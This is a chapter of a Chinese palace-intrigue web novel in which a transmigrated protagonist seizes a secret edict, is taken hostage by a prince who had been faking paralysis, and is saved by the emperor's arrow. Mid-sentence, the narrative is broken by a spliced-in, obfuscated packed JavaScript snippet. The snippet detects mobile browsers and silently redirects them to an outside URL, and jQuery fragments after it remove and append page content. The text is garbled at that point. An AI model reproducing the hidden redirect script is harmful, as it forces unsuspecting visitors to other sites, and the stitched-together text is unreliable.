即便薄奚季的眼底并没有任何情绪波澜,麟衣使还是在这样森然的注视下,瞬间低下头去:“还望陛下示下,吾等该如何行事?”
时间一分一秒过去。
帝王高位上,忽然响起一阵铁器铿锵之声。
不知何时,薄奚季已站起身,佩剑在烛火摇影中,折射出叫人毛骨悚然的寒光。
薄奚季踏出宫门,若此刻麟衣使望向帝王的眼睛,便会在那双漆黑的眸子里,看到不加掩饰的兴致盎然。
…
东阙门外,羽林军整装待发,有死士想要从后方突围,出口却也早已被围得水泄不通。
“宣王殿下,”谢恒挡在谢鹤生身前,谢鹤生此刻颇有几分狐假虎威的快意,格外游刃有余,“请将密诏给我。”
他说得礼貌且恭敬,但羽林军的刀,却齐齐对准轮椅上的宣王。
杀意尽显。
岳肃惊怒交加,有几分气息不稳地斥道:“谢悯!你这是为虎作伥,置大梁江山于不顾!你以为,你拿下老夫和宣王,薄奚季就会饶过你父亲么?薄奚季薄情寡恩,早已视你父与我等作眼中钉肉中刺!小儿愚蠢至极!”
谢鹤生没什么感情地扯了扯唇角。
大梁江山?
关他什么事。
要不是他的命和薄奚季绑定在了一起,不得不完成任务,他才不会阻拦岳肃造反,如果他们能杀了薄奚季最好。
但话说到这里,谢鹤生也不会忍着被人骂。
“世伯怎么还敢提我父亲?父亲下狱,不正是世伯的手笔吗?为虎作伥又如何,世伯不也心甘情愿做了伥鬼么?”
高墙之上,薄奚季驾临时,恰听到这么一句。
周遭皆是负剑的军士,对比之下,锦衣的青年身形单薄,如同误入险地而不自知的猎物,然而话语却比刀锋更锐利几分。
“呵,”薄奚季出人意料地笑了声,“倒是牙尖嘴利。”
他身后,麟衣使面面相觑,他们早已做好战斗准备,却没想到,帝王到来后,竟没有任何指示,只是垂着眸子,气定神闲地作壁上观。
麟衣使缓缓收起弓箭。
看这样子,谢鹤生应该是不用死了。
谢鹤生话音落下,岳肃的脸就是一阵青白交加,以能言善辩著称的文臣之首,最终也只是哑然。
反倒是一直沉默的宣王,忽然带着笑开口:“岳公,你不是说,谢二郎鲁莽,谢六郎蠢笨,谢家尽在你掌握之中么?如今看来,却是我们识人不清了。”
岳肃脸上一阵青红,宣王又看向谢鹤生:“不过,六郎有如此大才,却连官职也被薄奚季夺去,不觉得可惜吗?我承认,岳公操之过急了,但六郎仔细想想,以薄奚季的性格,他难道会放过你吗?”
不得不承认,薄奚季这位兄长,很是了解他赶尽杀绝的性子。
谢鹤生顺势问:“所以?”
“所以,六郎不如效忠于我,事成之后,我当予六郎九卿之首,可好?”
还真大方。
九卿之首,那可是三公之下,万人之上的高位。
常人摸爬滚打一辈子,连九卿的鞋灰都不配摸到,但对拥有皇权的那个人来说,却只是轻飘飘的一句话。
谢鹤生目光闪烁,问系统:
“能把攻略对象换成宣王吗?”
听起来达成权臣线很容易的样子,反正辅佐谁都如同吃屎,他宁可是没那么聪明的宣王。
系统像被玷污了一般尖叫起来:
【不许!!我是有职业操守的,我的CP,不拆不逆!!】
“…”谢鹤生被吵得头疼,遗憾地叹了口气。
看来这口屎他是非吃不可了。
“张勉位列九卿,照样被陛下一剑砍死,我还想多活几天,多谢宣王好意了,还是把密诏给我吧。”
锋利的刀,指向宣王的脖颈,在羽林军密不透风的包围之下,腿脚不便的宣王,根本没有逃窜的机会。
而因为谢鹤生站着,二人之间,恰好形成一个俯视的夹角,得以看清宣王的一举一动。
谢鹤生紧紧盯着宣王鼓起的胸部,方才,他是亲眼看着密诏被宣王放进怀中的。
宣王与他对视良久,惋惜地一叹,手掌伸入衣服内侧,摸出被卷成一轴的密诏。
“殿下!”岳肃痛心疾首,在旁疾呼,“殿下不可啊!怎能让昏君当道!”
没人理睬他,谢鹤生伸出手,宣王则攥着卷轴末端,略微倾身,将密诏放进谢鹤生掌心。
谢鹤生顺势握住卷轴,就在这时,他似瞥到金属的冷泽从卷轴末端闪过——
宣王忽而一松手,转而向卷轴中心一掏,只听刺啦一声,竟从卷轴内拽出一柄匕首!
他从一开始,就把匕首裹在了卷轴里!
谢鹤生立即后退,但下一瞬,他猝不及防地瞪大眼睛——
双腿尽废的宣王,竟然站起来了!
不仅站起来,还健步如飞,宣王一把拽住谢鹤生的手臂,往自己的方向猛地拖拽。
巨力袭来,谢鹤生猝不及防就失去了平衡,跌进了宣王的桎梏中。
冰冷、尖锐的匕首,瞬间抵住直抽动的颈部血管,寒意渗透进肌肤,谢鹤生的心跳急促地鼓动,一时间整个官道都陷入莫大的震惊中,谁也没想到,宣王,竟然能走!
就连岳肃,也满目惊慌失措:“宣王殿下,你、你竟然…你的腿不是…”
情况危急,暗中埋伏的麟衣使,不由看向一旁的帝王。
谢悯,看起来就快被宣王割喉了。
而宣王挟持他的角度,极为刁钻,即便是麟衣使,也没有把握,能在保证谢悯毫发无伤的情况下,击中宣王。
薄奚季神色自若,即便看到宣王突然痊愈,也没有一点惊讶,指腹摩挲着扳指:“不急,再等等。”
他倒要看看,谢鹤生会怎么做。
谢鹤生强迫自己冷静下来:“殿下,从一开始就在佯做残疾吗?”
宣王微微笑了笑,云淡风轻,道:“我这个弟弟的本事,六郎应当领教过,一定能理解我的苦衷。”
“为了苟活下来,殿下不惜扮做残废,这般魄力,确实非常人所有。”谢鹤生道,旋即猛地咬住唇瓣,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138300|195945||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…唔。”
似是为了惩罚他口出狂言,宣王将刀尖压进了他的皮肤。
小谢公子养尊处优,皮肤自是细腻,轻轻一碰,就流下鲜艳的血来。
宣王眯起眼,寻找着…
啊,找到了,那个正因弟弟受到挟制,而手足无措的羽林中郎将。
“中郎将,”宣王远远朝谢恒开口,“如果想谢悯活着,就听从我的命令,即刻让开宫门。”
让开宫门就是死路一条,谢鹤生早做好了谢恒拒绝的准备,谢恒却几乎没有犹豫:“我知道了。你放开小六。”
谢鹤生惊骇地瞪大眼睛,有一种剧烈的茫然和割裂感,又在刹那间平静下来。
他已经不是现实世界的谢鹤生,游戏里的谢悯,确实是全家都极尽宠爱的孩子。
谢恒不惜一切代价救他,也很正常。
“看来岳公的判断并不全错。”宣王还有空讥讽岳肃,“把武器都放下。”
就在这时,谢鹤生爆喝:“二哥不可!宣王为人睚眦必报更甚陛下,他不会放过我们,不要因为我,再害了羽林军无辜将士!”
封建王朝,人命如草芥,上位者只一弹指,便可灰飞烟灭。
可谢鹤生不忍心。
因他这一句话,谢恒的脸上,浮现出激烈的挣扎之色。
一边是疼爱的弟弟,一边是跟随自己拼杀的将士,谢恒一时间难以决断。
宣王沙哑地笑,谢鹤生从中听出了几分怨怼:“六郎慈心,既如此,我成全了你。”
他用了几分力道,架在谢鹤生脖颈处的匕首,又朝动脉压迫了几分,鲜血,更加激烈地流出,被锦衣吸收。
死亡,是这样接近。
谢鹤生知道,宣王这是在逼迫谢恒,但他已经无法开口,因为宣王的另一只手,死死捂住了他的口鼻。
谢恒目眦欲裂,急促地吼道:“住手!我听你的——”
就在这千钧一发之际,寒光破空而来!
——唰!
“啊!!”
耳畔蓦地响起一声惨叫!伴随着匕首坠地的当啷声响,现场顿时陷入混乱之中。
谢鹤生根本来不及查看发生了什么,本能就驱使着他一把挣开宣王跳蹿出去,他连脖颈的伤都顾不上捂,紧紧抱着密诏,疯了似的向前狂奔。
“抓住他!”宣王气急败坏地大吼起来。
“杀!!”早已隐忍多时的谢恒也在这时彻底爆发,羽林军纷纷架起武器,冲了出去。
血像墨一样泼了出来。
直到这时,谢鹤生才有片刻喘息的余地,他一扭头,就看见,宣王的肩上,插着一支箭!
从高处来的一支箭!
这箭来得又急又狠,只差毫厘,就要连着谢鹤生一起射穿。
射箭的人根本不在意会不会伤到人质,又或者,人质死了也无所谓。
可是,官道城墙之上,怎会有箭?
谢鹤生气喘不已,忍着脖颈的疼痛,抬头看去。
那是一道漆黑的身影,不知何时出现,静悄悄地立在月下,遮挡住月亮的光。
又或者,是月亮在躲避他的锋芒。
他的手中握着一把弓,箭早就射了出去,于是搭弓的姿势也显得松散随意。
分明这样遥远的距离,谢鹤生却觉得,在血与尘土混杂之间,他似乎,感受到了来自对方的视线。
他的唇瓣微微嗫嚅:
“…薄奚季。”